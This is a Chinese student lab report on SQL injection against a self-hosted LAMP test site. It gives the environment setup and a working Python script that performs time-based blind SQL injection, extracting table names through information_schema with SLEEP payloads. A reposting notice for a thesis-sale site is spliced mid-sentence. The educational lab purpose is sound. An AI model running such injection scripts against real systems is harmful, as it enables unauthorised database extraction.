目录
1 实验目的和内容 1
1.1 实验目的 1
1.2 实验内容 1
2 实验环境 1
2.1 目标机器的环境 1
2.2 目 标 机 器 的 构 建 2
3 SQL 注入 3
3.1 检索隐藏数据 4
3.2 破怀应用逻辑 5
3.3 检索数据库 6
3.4 UNION 攻击 8
3.5 盲 SQL 注入 9
4 解决方案 12
1 实验目的和内容
1.1实验目的
在合法范围内,实施一次 SQL 注入攻击(可自己搭建目标机器)
1.2实验内容
SQL 注入是一种网络安全漏洞,攻击者可以通过该漏洞干扰应用程序对其数据库的查询。通常情况下,攻击者可以利用该漏洞获取到一些敏感数据,甚至修改或删除数据。常见的 SQL 注入有:检索隐藏数据、破怀应用逻辑、UNION 攻击、检索数据库、盲 SQL 注入。本实验将对上述的五种 SQL 注入进行分析,并在最后提出综合的解决方案,最后将借助所写的脚本进行攻击。
2 实验环境
2.1目标机器的环境
虚拟机:VMware WorkStation 15 Pro 操作系统:Ubuntu 18.04 64 位
处理器内核总数:4
分配给虚拟机内存大小:8GB 编辑器:Vscode 1.42.1
mysql Ver 14.14 Distrib 5.7.30 PHP 7.2.24-0ubuntu0.18.04.4 (cli) Apache/2.4.29 (Ubuntu)
Python 3.7.3
2.2
目 标 机 器 的 构 建
LAMP
本课程作业搭建的目标机器运行在虚拟机 VMware 上的 Ubuntu18.04,然后进行配置
LAMP 环境。首先,通过"sudo apt-get install
apache2"命令安装 apache2;然后,输入命令"sudo apt-get install mysql-server mysql-client",安装 MySQL,修改用户密码; 最后,安装 PHP,输入命令"sudo apt-get install php7.0 libapache2-mod-php" , “sudo apt-get install php7.2-mysql”,并进行相应的配置操作。
在本地创建数据库 secure_info,创建表
users,之后的所有操作将对 users 表进行攻击。采用 PHP 进行网页编程,main.php 为目标网站主页面,选择 low,improved 两个选项,进入不同安全等级的网页,其中 low 安全等级最低,本文转载自http://www.biyezuopin.vip/onews.asp?id=15013对输入的用户 ID 不进行任何过滤操作,improved 则对输入数据进行特殊字符过滤和是否为数字的检测。
将 projet 移至/var/www/SQL_injection/ 下,即可访问网站。 访 问 网 址 是http://192.168.254.147/SQL_injection/mai n.php# , 其 中 192.168.254.147 是Ubuntu18.04 的 IPv4 地址,下图是数据库
secure_info 中的 users 表的全部信息(其中
cancel 列,值为 1,表示已被注销,查询时不显示,值为 0,表示未注销):
import requests
# 基于时间的盲注
#获取数据库中表的名字users
base_url = 'http://192.168.254.147/SQL_injection/low.php? %s &Submit_ID=确认'
def get_table_name(length:int):
table_name = ""
content_template = "id=1 AND IF((ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),%d,1)))=%d,SLEEP(3),0) "
chars = '_$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for i in range(1, length + 1):
for char in chars:
content = content_template % (i, ord(char))
url = base_url % content
# print(url)
response = requests.get(url)
# 根据返回时间的不同来判断字符正确与否
sec = response.elapsed.seconds
# print(sec)
if sec > 2:
table_name += char
break
print(table_name)
def get_table_name_length():
length = 0
content_template = "id=1 AND (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=%d"
for i in range(1,64):
content = content_template % i
url = base_url % content
# print (url)
response = requests.get(url)
resLen = len(response.text)
# print(resLen)
if resLen > 500:
length = i
break;
return length
if __name__ == '__main__':
length = get_table_name_length()
get_table_name(length)